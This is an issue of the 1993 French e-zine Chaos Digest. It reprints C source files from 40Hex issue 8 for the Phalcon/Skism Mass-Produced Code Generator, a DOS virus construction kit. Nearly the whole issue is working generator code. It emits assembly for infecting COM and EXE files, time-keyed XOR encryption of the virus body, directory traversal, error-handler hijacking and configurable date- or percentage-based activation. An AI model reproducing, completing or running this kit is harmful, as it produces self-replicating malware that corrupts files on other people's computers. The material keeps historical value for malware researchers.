Chaos Digest              Jeudi 1er Juillet 1993        Volume 1 : Numero 65
                             ISSN 1244-4901

      Editeur: Jean-Bernard Condat ([email protected])
      Archiviste: Yves-Marie Crabbe
      Co-Redacteurs: Arnaud Bigare, Stephane Briere

TABLE DES MATIERES, #1.65 (1er Juillet 1993)
File 1--40H VMag Number 8 Volume 2 Issue 4 #001(2) (reprint)

Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
available at no cost by sending a message to:
               [email protected]
with a mail header or first line containing the following informations:
                   X-Mn-Admin: join CHAOS_DIGEST

The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
155, 93404 St-Ouen Cedex, France.  He is a member of the EICAR and EFF (#1299)
groups.

Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
466893.  Back issues of ChaosD can be found on the Internet as part of the
Computer underground Digest archives. They're accessible using anonymous FTP:

       * kragar.eff.org [192.88.144.4] in /pub/cud/chaos
       * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
       * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
       * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
       * cs.ubc.ca [137.82.8.5] in /mirror3/EFF/cud/chaos
       * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
       * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
       * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos

CHAOS DIGEST is an open forum dedicated to sharing French information among
computerists and to the presentation and debate of diverse views. ChaosD
material may be reprinted for non-profit as long as the source is cited.
Some authors do copyright their material, and they should be contacted for
reprint permission.  Readers are encouraged to submit reasoned articles in
French, English or German languages relating to computer culture and
telecommunications.  Articles are preferred to short responses.  Please
avoid quoting previous posts unless absolutely necessary.

DISCLAIMER: The views represented herein do not necessarily represent
           the views of the moderators. Chaos Digest contributors
           assume all responsibility for ensuring that articles
           submitted do not violate copyright protections.

----------------------------------------------------------------------

Date: Tue May 11 09:24:40 PDT 1993
From: [email protected] (American_Eagle_Publication_Inc. )
Subject: File 1--40H VMag Number 8 Volume 2 Issue 4 #001(2) (reprint)


/* FILE: VHEADER.C */
#include "vheader.h"

void code_header(void)
{
 char b[80];
 sprintf(b,"; %s : %s by %s",config.asmfilename,
        (config.virusname[0]) ? config.virusname : "Unknown",
        (config.authorname[0])? config.authorname: "Unknown");
 printlabel(b,"");
 printlabel("; Created wik the Phalcon/Skism Mass-Produced Code
Generator","");
 sprintf(b,"; from the configuration file %s",config.configfilename);
 printlabel(b,"");
 printblank();
 printlabel(".model tiny","Handy directive");
 printlabel(".code","Virus code segment");
 print("org    100h","COM file starting IP\n");
 if (config.p.infectEXE)
 {
   sprintf(b,"id = '%s'",config.id);
   printlabel(b,"ID word for EXE infections");
 }
 if (config.p.infectCOM)
   if (config.p.encrypt)
     printlabel("entry_point: db 0e9h,0,0","jmp decrypt");
   else
     printlabel("entry_point: db 0e9h,0,0","jmp startvirus");
 printblank();
}
----------------------------------- Cut Here --------------------------------
/* FILE: VHEAP.C */
#include "vheader.h"

char heap[30][80];
char max;

void code_heap(void)
{
 printlabel("heap:","Variables not in code");
 if (max)
   while (max--)
     printlabel(heap[max],"");
 else
   printlabel("; No heap to speak of","");
 printlabel("endheap:","End of virus");
}

void addheap(char *s, char *t, char *u)
{
 if (*u)
   sprintf(heap[max++],"%-20.20s%-20.20s; %-37.37s",s,t,u);
 else
   sprintf(heap[max++],"%-20.20s%s",s,t);
}

void _addheap(char *s)
{
 strcpy(heap[max++],s);
}

void resetheap(void)
{
   max=0;
}
----------------------------------- Cut Here --------------------------------
/* FILE: VINFECT.C */
#include "vheader.h"

void write_encrypt(void);
void code_infect_EXE(void);

void code_infect(void)
{
 if (config.p.infectEXE) {
   printlabel("infect_exe:","");
   code_infect_EXE();
   if (config.p.infectCOM)
     print("jmp  short finishinfection","");
 }
 if (config.p.infectCOM) {
   printlabel("infect_com:","ax = filesize");
   print("mov  cx,3","");
   print("sub  ax,cx","");
   print("lea  si,[bp+offset buffer]","");
   print("lea  di,[bp+offset save3]","");
   print("movsw","");
   print("movsb","");
   print("mov  byte ptr [si-3],0e9h","");
   print("mov  word ptr [si-2],ax","");
   if (config.p.encrypt)
   {
     print("add  ax,103h","");
     print("push ax","needed later");
   }
 }
 printlabel("finishinfection:","");
 print("push cx","Save # bytes to write");
 print("xor  cx,cx","Clear attributes");
 print("call attributes","Set file attributes");
 printblank();
 print("mov  al,2","");
 print("call open","");
 printblank();
 print("mov  ah,40h","Write to file");
 print("lea  dx,[bp+buffer]","Write from buffer");
 print("pop  cx","cx bytes");
 print("int  21h","");
 printblank();
 print("mov  ax,4202h","Move file pointer");
 print("xor  cx,cx","to end of file");
 print("cwd","xor dx,dx");
 print("int  21h","");
 printblank();
 if (config.p.encrypt) {
   write_encrypt();
 } else {
   print("mov  ah,40h","Concatenate virus");
   print("lea  dx,[bp+startvirus]","");
   print("mov  cx,heap-startvirus","# bytes to write");
   print("int  21h","");
   printblank();
 }
 print("mov  ax,5701h","Restore creation date/time");
 print("mov  cx,word ptr [bp+newDTA+16h]","time");
 print("mov  dx,word ptr [bp+newDTA+18h]","date");
 print("int  21h","");
 printblank();
 print("mov  ah,3eh","Close file");
 print("int  21h","");
 printblank();
 print("mov ch,0","");
 print("mov cl,byte ptr [bp+newDTA+15h]","Restore original");
 print("call attributes","attributes");
 printblank();
 if (config.maxinfect)
 {
   print("dec  byte ptr [bp+numinfec]","One mo infection");
   print("jnz  mo_infections","Not enough");
   if (config.p.calls_check)
     print("pop  ax","remove call from stack");
   print("jmp  done_infections","");
 }
 printlabel("mo_infections: jmp find_next","");
 printblank();
}

void write_encrypt(void)
{
 if (!config.p.allowzero)
   printlabel("get_encrypt_value:","");
 print("mov  ah,2ch","Get current time");
 print("int  21h","dh=sec,dl=1/100 sec");
 if (!config.p.allowzero) {
   print("or  dx,dx","Check if encryption value = 0");
   print("jz  get_encrypt_value","Get another if it is");
 }
 print("mov  [bp+decrypt_value],dx","Set new encryption value");
 addheap("code_store:","db (startencrypt-decrypt)*2+(endwrite-write)+1 dup
(?)","");
_addheap("; The following code is the buffer for the write function");
 print("lea  di,[bp+code_store]","");
 print("mov  ax,5355h","push bp,push bx");
 print("stosw","");
 print("lea  si,[bp+decrypt]","Copy encryption function");
 print("mov  cx,startencrypt-decrypt","Bytes to move");
 print("push si","Save for later use");
 print("push cx","");
 print("rep  movsb","");
 printblank();
 if (config.xor_value)
 {
   char b[80];
   sprintf(b,"xor  byte ptr [bp+decrypt_loop+%c],0%2.2xh",
          (config.p.infectEXE) ? '2' : '1', config.xor_value);
   print(b,config.xor_comment);
   printblank();
 }
 print("lea    si,[bp+write]","Copy writing function");
 print("mov    cx,endwrite-write","Bytes to move");
 print("rep    movsb","");
 print("pop    cx","");
 print("pop    si","");

 print("pop    dx","Entry point of virus");

 print("push   di","");
 print("push   si","");
 print("push   cx","");
 print("rep    movsb","Copy decryption function");
 print("mov    ax,5b5dh","pop bx,pop bp");
 print("stosw","");
 print("mov    al,0c3h","retn");
 print("stosb","");
 printblank();
 print("add    dx,offset startencrypt - offset decrypt","Calculate new");
 print("mov    word ptr [bp+patch_startencrypt+1],dx","starting offset of");
 print("call   code_store","decryption");
 print("pop    cx","");
 print("pop    di","");
 print("pop    si","");
 print("rep    movsb","Restore decryption function");
 printblank();
}

void code_infect_EXE(void)
{
 print("les  ax, dword ptr [bp+buffer+14h]","Save old entry point");
 print("mov  word ptr [bp+jmpsave2], ax","");
 print("mov  word ptr [bp+jmpsave2+2], es","");
 printblank();
 print("les  ax, dword ptr [bp+buffer+0Eh]","Save old stack");
 print("mov  word ptr [bp+stacksave2], es","");
 print("mov  word ptr [bp+stacksave2+2], ax","");
 printblank();
 print("mov  ax, word ptr [bp+buffer + 8]","Get header size");
 print("mov  cl, 4","convert to bytes");
 print("shl  ax, cl","");
 print("xchg ax, bx","");
 printblank();
 print("les  ax, [bp+offset newDTA+26]","Get file size");
 print("mov  dx, es","to DX:AX");
 print("push ax","");
 print("push dx","");
 printblank();
 print("sub  ax, bx","Subtract header size from");
 print("sbb  dx, 0","file size");
 printblank();
 print("mov  cx, 10h","Convert to segment:offset");
 print("div  cx","form");
 printblank();
 print("mov  word ptr [bp+buffer+14h], dx","New entry point");
 print("mov  word ptr [bp+buffer+16h], ax","");
 printblank();
 print("mov  word ptr [bp+buffer+0Eh], ax","and stack");
 print("mov  word ptr [bp+buffer+10h], id","");
 printblank();
 print("pop  dx","get file length");
 print("pop  ax","");
 printblank();
 if (config.p.encrypt)
   print("add  ax, heap-decrypt","add virus size");
 else
   print("add  ax, heap-startvirus","add virus size");
 print("adc  dx, 0","");
 printblank();
 print("mov  cl, 9","");
 print("push ax","");
 print("shr  ax, cl","");
 print("ror  dx, cl","");
 print("stc","");
 print("adc  dx, ax","");
 print("pop  ax","");
 print("and  ah, 1","mod 512");
 printblank();
 print("mov  word ptr [bp+buffer+4], dx","new file size");
 print("mov  word ptr [bp+buffer+2], ax","");
 printblank();
 print("push cs","restore ES");
 print("pop  es","");
 printblank();
 if (config.p.encrypt)
   print("push word ptr [bp+buffer+14h]","needed later");
 print("mov  cx, 1ah","");
}
----------------------------------- Cut Here --------------------------------
/* FILE: VMAIN.C */
/* The Phalcon/Skism Mass-Produced Code Generator *
* Version 0.90a - 27 Jul 92 - Initial Release    *
* Written by Dark Angel of Phalcon/Skism         *
* Source code released with 40Hex-8              *
*/

#include <stdio.h>

#define MAIN
#include "vheader.h"
#undef MAIN

globals config;

void parse_config(void);
unsigned getnumber(int line, char *d, char ok, char *next);
char getyn(int line, char *d);
void setplusminus(char *a, char b);
void parseactivate(int line, char *d, char min, char max, char *a, char
*b,char *s);
void printerror(int line, char c);
void getDBname(char *orig, char *name,char *delim);

FILE *fp;

void main(int argc, char **argv)
{
 char c,filename[80];

 puts("PS-MPC ~ Phalcon/Skism Mass Produced Code Generator");
 puts("       ~ Version 0.90a        Written by Dark Angel\n");

 if (argc < 2)
 {
   puts("Syntax: PS-MPC <file1> <file2> ...");
   puts("  file1 = name of first configuration file");
   puts("  file2 = name of second configuration file");
 }

 for (c=1;c<argc;c++)
 {
   if ((fp = fopen(argv[c],"rt")) == NULL)
   {
     printf("Error opening configuration file (%s).\n",argv[c]);
     puts("Skipping file...");
     continue;
   }

   printf("Reading configuration file (%s)...",argv[c]);
   resetheap();
   parse_config();
   strcpy(config.configfilename,argv[c]);

   fclose(fp);
   puts("Done!");

   if (!config.p.infectCOM && !config.p.infectEXE) {
     puts("Warning: Virus does not infect any type of file.");
     puts("Remedy:  Use the \"infect\" parameter in the configuration
file.");
     puts("Skipping file...");
     continue;
   }

   if (!config.asmfilename[0]) {
     puts("Warning: No target file name specified.");
     puts("Remedy:  Use the \"filename\" parameter in the configuration
file.");
     puts("Skipping file...");
     continue;
   }

   if ((fp = fopen(config.asmfilename,"wt")) == NULL)
   {
     printf("Error opening target file (%s).\n",config.asmfilename);
     puts("Skipping file...");
     continue;
   }

   printf("Creating target file (%s)...",config.asmfilename);

   code_header();
   code_encryption();
   code_setup();
   code_traversal();
   code_check_activation();
   code_return();
   code_activate();
   code_messages();
   if (config.p.calls_check)
     code_check();
   code_infect();
   code_subroutines();
   code_variables();
   code_heap();
   code_tail();

   fclose(fp);
   puts("Done!");
 }
 puts("\nThank you for using the Phalcon/Skism Mass Produced Code
Generator");
 exit(0);
}

void print(char *s, char *t)
{
 char b[80];
 sprintf(b,"          %s",s);
 printlabel(b,t);
}

void printlabel(char *s, char *t)
{
 int i = 0;
 if (*s)
   if (*t) {
     i = fprintf(fp,"%-40s",s);
     if (i > 40)
       fputc(' ',fp);
     fprintf(fp,"; %s",t);
   } else /* if (*t) */
     fprintf(fp,s);
 fprintf(fp,"\n");
}

void addvar(char *s, char *t, char *u)
{
 char b[80];
 if (*u)
   sprintf(b,"%-20.20s%-20.20s; %s",s,t,u);
 else
   sprintf(b,"%-20.20s%s",s,t);
 printlabel(b,"");
}

void parse_config(void)
{
   char b[80];
   char *c, *d;
   int  line = 0;
   globals default_globals = {
       "",                       /* Configuration file name              */
       "",                       /* Source code file name                */
       "  ",                     /* EXE ID Word                          */
       "",                       /* Virus name                           */
       '\'',                     /* Deliminator for virus name           */
       "",                       /* Author name                          */
       '\'',                     /* Deliminator for author name          */
       0,                        /* Minimum COM size for infection       */
       0,                        /* Maximum COM size for infection       */
       0,                        /* Infections per run                   */
       { 0,0,NONE,0,0,0,0 },     /* flags                                */
       0,                        /* xor value                            */
       "",                       /* xor comment                          */
       0,                        /* number of activation conditions      */
       { 0,0,0,0,0,-1,0,-1,-1,-1,0 }, /* activation conditions           */
       { 0,0,0,0,0, 0,0, 0, 0, 0,-1}  /* plusminus activation conditions */
   };

   config = default_globals;

   while (1)
   {
       line++;
       b[0]=0;
       c = fgets(b,100,fp);
       if (!b[0])
         break;
       while (isspace(*c)) c++;    /* skip initial spaces */
       if (!*c || *c == ';') continue;    // check if this line is a comment
       d = c;
       while (!isspace(*d)) d++;   /* isolate one word  */
       *d++ = 0;                   /* NULL terminate it */
       while (isspace(*d) || (*d == '=')) d++;

       if (!stricmp(c,"filename"))
       {
         c = d;
         while (!isspace(*d)) d++; /* isolate filename */
         *d = 0;
         strcpy(config.asmfilename,c);
       }

       else if (!stricmp(c,"traversal"))
         switch (toupper(*d))
         {
           case 'N' : config.p.traverse = NONE; break;
           case 'D' : config.p.traverse = DOT_DOT; break;
           default  : printerror(line,*d);
         }

       else if (!stricmp(c,"encryption")) config.p.encrypt = getyn(line,d);

       else if (!stricmp(c,"infect")) {
         while (!isspace(*d)) {
           switch (toupper(*d))
           {
             case 'C' : config.p.infectCOM = 1; break;
             case 'E' : config.p.infectEXE = 1; break;
             case ',' : break;
             default  : printerror(line,*d);
           }
           d++;
         }
       }

       else if (!stricmp(c,"idword")) {
         config.id[0] = (isspace(*d)) ? ' ' : *d;
         config.id[1] = (isspace(*(d+1))) ? ' ' : *(d+1);
         config.id[2]=0;
       }

       else if (!stricmp(c,"minsize")) {
         if (toupper(*d) == 'A')
           config.minsize = 1;
         else {
           config.minsize = getnumber(line,d,0,0);
           if (config.maxsize > 1)
             if (config.minsize > config.maxsize)
               puts("Error: minsize is greater than maxsize!");
         }
       }

       else if (!stricmp(c,"maxsize")) {
         if (toupper(*d) == 'A')
           config.maxsize = 1;
         else {
           config.maxsize = getnumber(line,d,0,0);
           if (config.minsize > 1)
             if (config.maxsize < config.minsize)
               printf("Error: minsize is greater than maxsize!\n");
         }
       }

       else if (!stricmp(c,"infections"))
         config.maxinfect = (unsigned char)getnumber(line,d,0,0);

       else if (!stricmp(c,"errorhandler"))
         config.p.int24 = getyn(line,d);

       else if (!stricmp(c,"commandcom"))
         config.p.CommandCom = getyn(line,d);

       else if (!stricmp(c,"virusname"))
         getDBname(d,config.virusname,&config.virusnamedelim);

       else if (!stricmp(c,"authorname"))
         getDBname(d,config.authorname,&config.authornamedelim);

       else if (!stricmp(c,"allowzero"))
         config.p.allowzero = getyn(line,d);

       else if (!stricmp(c,"always")) {
         config.activate.always = getyn(line,d);
         if (config.activate.always) config.activation++;
       }

       else if (!stricmp(c,"ifmonth"))

parseactivate(line,d,1,12,&config.activate.month,&config.plusminus.month,"mont
h");

       else if (!stricmp(c,"ifday"))

parseactivate(line,d,1,31,&config.activate.day,&config.plusminus.day,"day");

       else if (!stricmp(c,"ifyear"))
       {
         config.activate.year = getnumber(line,d,'+',d);
         setplusminus((char *)&config.plusminus.year,*d);
         config.activation++;
       }

       else if (!stricmp(c,"ifdow"))

parseactivate(line,d,0,6,&config.activate.dow,&config.plusminus.dow,"date of
week");

       else if (!stricmp(c,"ifmonthday"))
       {
         int  tempint;
         char temp=(char)getnumber(line,d,',',d);
         if ((temp < 1) || (temp > 12))
           printf("Invalid month: %d.  Must range between 1 and 12.\n",temp);
         else {
           d++;
           tempint = temp*0x100;
           temp=(char)getnumber(line,d,'+',d);
           if ((temp < 1) || (temp > 31))
           {
             printf("Invalid day: %d.  Must range between 1 and 31.\n",temp);
           } else {
             config.activate.monthday=tempint + temp;
             setplusminus((char *)&config.plusminus.monthday,*d);
             config.activation++;
           }
         }
       }

       else if (!stricmp(c,"ifhour"))

parseactivate(line,d,0,23,&config.activate.hour,&config.plusminus.hour,"hour")
;

       else if (!stricmp(c,"ifminute"))

parseactivate(line,d,0,59,&config.activate.minute,&config.plusminus.minute,"mi
nute");

       else if (!stricmp(c,"ifsecond"))

parseactivate(line,d,0,59,&config.activate.second,&config.plusminus.second,"se
cond");

       else if (!stricmp(c,"percentage"))

parseactivate(line,d,1,99,&config.activate.percentage,0,"percentage");

       else if (!isspace(c))
         printf("Error in line %d: Invalid parameter '%s'.\n",line,c);
   }
}

unsigned int getnumber(int line,char *d,char ok,char *next)
{
 int temp = 0;
 while (isdigit(*d))
 {
   temp*=10;
   temp+=(*d-'0');
   d++;
 }
 if ((ok == '+') && (!((*d == '+') || (*d == '-'))) && !isspace(*d))
   printerror(line,*d);
 else
   if (next) *next=*d;
 return temp;
}

char getyn(int line,char *d)
{
 switch (toupper(*d))
 {
   case 'Y' : return 1;
   case 'N' : return 0;
   default  : printerror(line,*d);
 }
 return 0;
}

void setplusminus(char *a, char b)
{
   if (b == '+')
     *a = 1;
   else if (b == '-')
     *a = -1;
   else
     *a = 0;
}

void parseactivate(int line, char *d, char min, char max, char *a, char *b,
char *s)
{
 char *c=d;
 char temp = (char)getnumber(line,d,'+',c);
 if ((temp < min) || (temp > max))
   printf("Invalid %s specified: %d.  Range must be between %d &
%d.\n",s,temp,min,max);
 else {
   *a = temp;
   if (b != 0) setplusminus(b,*c);
   config.activation++;
 }
}

void printerror(int line, char c)
{
 printf("Error in line %d: Invalid character '%c'.\n",line,c);
}

void printblank(void)
{
 fprintf(fp,"\n");
}
void getDBname(char *orig, char *name,char *delim)
{
 *delim = '\'';
 orig[strlen(orig)-1] = 0;
 if (strchr(orig,'\''))
   if (strchr(orig,'\"')) {
     *delim = 0;
     printf("Error in %s: Both single and double quotes used.",orig);
   }
   else
     *delim = '\"';
 if (*delim)
   strcpy(name,orig);
}
----------------------------------- Cut Here --------------------------------
/* FILE: VMESSAGE.C */
#include "vheader.h"

void code_messages(void)
{
   char b[80];
   addvar("creator","db '[MPC]',0","Mass Produced Code Generator");
   if (config.virusname[0]) {
     sprintf(b,"db %c%s%c,0",config.virusnamedelim, config.virusname,
                             config.virusnamedelim);
     addvar("virusname",b,"");
   }
   if (config.authorname[0]) {
     sprintf(b,"db %c%s%c,0",config.authornamedelim, config.authorname,
                             config.authornamedelim);
     addvar("author",b,"");
   }
   printblank();
}
----------------------------------- Cut Here --------------------------------
/* FILE: VRETURN.C */
#include "vheader.h"

void return_EXE(void);
void return_COM(void);

void code_return(void)
{
 char s[80];
 if (config.activation)
   printlabel("exit_virus:","");
 if (config.p.int24)
 {
   print("mov  ax,2524h","Restore int 24 handler");
   print("lds  dx,[bp+offset oldint24]","to original");
   print("int  21h","");
   print("push cs","");
   print("pop  ds","");
   printblank();
 }
 if (config.p.traverse == DOT_DOT) {
   print("mov  ah,3bh","change directory");
   print("lea  dx,[bp+origdir-1]","original directory");
   print("int  21h","");
   printblank();
 }
 print("mov  ah,1ah","restore DTA to default");
 print("mov  dx,80h","DTA in PSP");
 if (config.p.infectEXE)
 {
   if (config.p.infectCOM)
   {
     print("cmp  sp,id-4","EXE or COM?");
     print("jz   returnEXE","");
     printlabel("returnCOM:","");
     return_COM();
     printlabel("returnEXE:","");
     return_EXE();
   } else /* EXE only */
   {
     return_EXE();
   }
 } else
 {
   return_COM();
   addvar("save3","db 0cdh,20h,0","First 3 bytes of COM file");
 }
 printblank();
}

void return_EXE(void)
{
 print("pop  es","");
 print("pop  ds","");
 print("int  21h","");
 print("mov  ax,es","AX = PSP segment");
 print("add  ax,10h","Adjust for PSP");
 print("add  word ptr cs:[bp+jmpsave+2],ax","");
 print("add  ax,word ptr cs:[bp+stacksave+2]","");
 print("cli","Clear intrpts for stack manipulation");
 print("mov  sp,word ptr cs:[bp+stacksave]","");
 print("mov  ss,ax","");
 print("sti","");
 print("db   0eah","jmp ssss:oooo");
 addvar("jmpsave","dd ?","Original CS:IP");
 addvar("stacksave","dd ?","Original SS:SP");
 if (config.p.infectCOM) {
   addvar("jmpsave2","db ?","Actually four bytes");
   addvar("save3","db 0cdh,20h,0","First 3 bytes of COM file");
 } else
   addvar("jmpsave2","dd 0fff00000h","Needed for carrier file");
 addvar("stacksave2","dd ?","");
}

void return_COM(void)
{
 print("int  21h","");
 print("retn","100h is on stack");
}
----------------------------------- Cut Here --------------------------------
/* FILE: VSETUP.C */
#include "vheader.h"

void restore_COM(void);
void restore_EXE(void);

void code_setup(void)
{
 addheap("buffer","db 1ah dup (?)","read buffer");
 if (!config.p.encrypt)
   printlabel("startvirus:","virus code starts here");
 print("call next","calculate delta offset");
 printlabel("next:     pop  bp","bp = IP next");
 print("sub  bp,offset next","bp = delta offset");
 printblank();
 if (config.p.infectEXE)
 {
   if (config.p.infectCOM) /* COM & EXE */
   {
     print("cmp  sp,id","COM or EXE?");
     print("je   restoreEXE","");
     printlabel("restoreCOM:","");
     restore_COM();
     print("jmp  short restoreEXIT","");
     printlabel("restoreEXE:","");
     restore_EXE();
     printlabel("restoreEXIT:","");
     print("movsw","");
   } else /* EXE ONLY */
     restore_EXE();
 } else
   restore_COM();

 printblank();
 if (config.maxinfect)
 {
   char b[80];
   addheap("numinfec","db ?","Infections this run");
   sprintf(b,"mov  byte ptr [bp+numinfec],%u",config.maxinfect);
   print(b,"reset infection counter");
   printblank();
 }
 print("mov  ah,1Ah","Set new DTA");
 print("lea  dx,[bp+newDTA]","new DTA @ DS:DX");
 print("int  21h","");
 printblank();
 addheap("newDTA","db 43 dup (?)","Temporary DTA");
 if (config.p.traverse == DOT_DOT)
 {
   print("mov  ah,47h","Get current directory");
   print("mov  dl,0","Current drive");
   print("lea  si,[bp+origdir]","DS:SI->buffer");
   print("int  21h","");
   print("mov  byte ptr [bp+backslash],'\\'","Prepare for later CHDIR");
   addheap("origdir","db 64 dup (?)","Current directory buffer");
   addheap("backslash","db ?","");
   printblank();
 }
 if (config.p.int24)
 {
   addheap("oldint24","dd ?","Storage for old int 24h handler");
   print("mov  ax,3524h","Get int 24 handler");
   print("int  21h","to ES:BX");
   print("mov  word ptr [bp+oldint24],bx","Save it");
   print("mov  word ptr [bp+oldint24+2],es","");
   print("mov  ah,25h","Set new int 24 handler");
   print("lea  dx,[bp+offset int24]","DS:DX->new handler");
   print("int  21h","");
   print("push cs","Restore ES");
   print("pop  es","'cuz it was changed");
   printblank();
 }
}

void restore_EXE(void)
{
 print("push ds","");
 print("push es","");
 print("push cs","DS = CS");
 print("pop  ds","");
 print("push cs","ES = CS");
 print("pop  es","");
 print("lea  si,[bp+jmpsave2]","");
 print("lea  di,[bp+jmpsave]","");
 print("movsw","");
 print("movsw","");
 print("movsw","");
 if (!config.p.infectCOM)
   print("movsw","");
}

void restore_COM(void)
{
 print("lea  si,[bp+save3]","");
 print("mov  di,100h","");
 print("push di","For later return");
 if (!config.p.infectEXE)
   print("movsw","");
 print("movsb","");
}
----------------------------------- Cut Here --------------------------------

------------------------------

End of Chaos Digest #1.65
************************************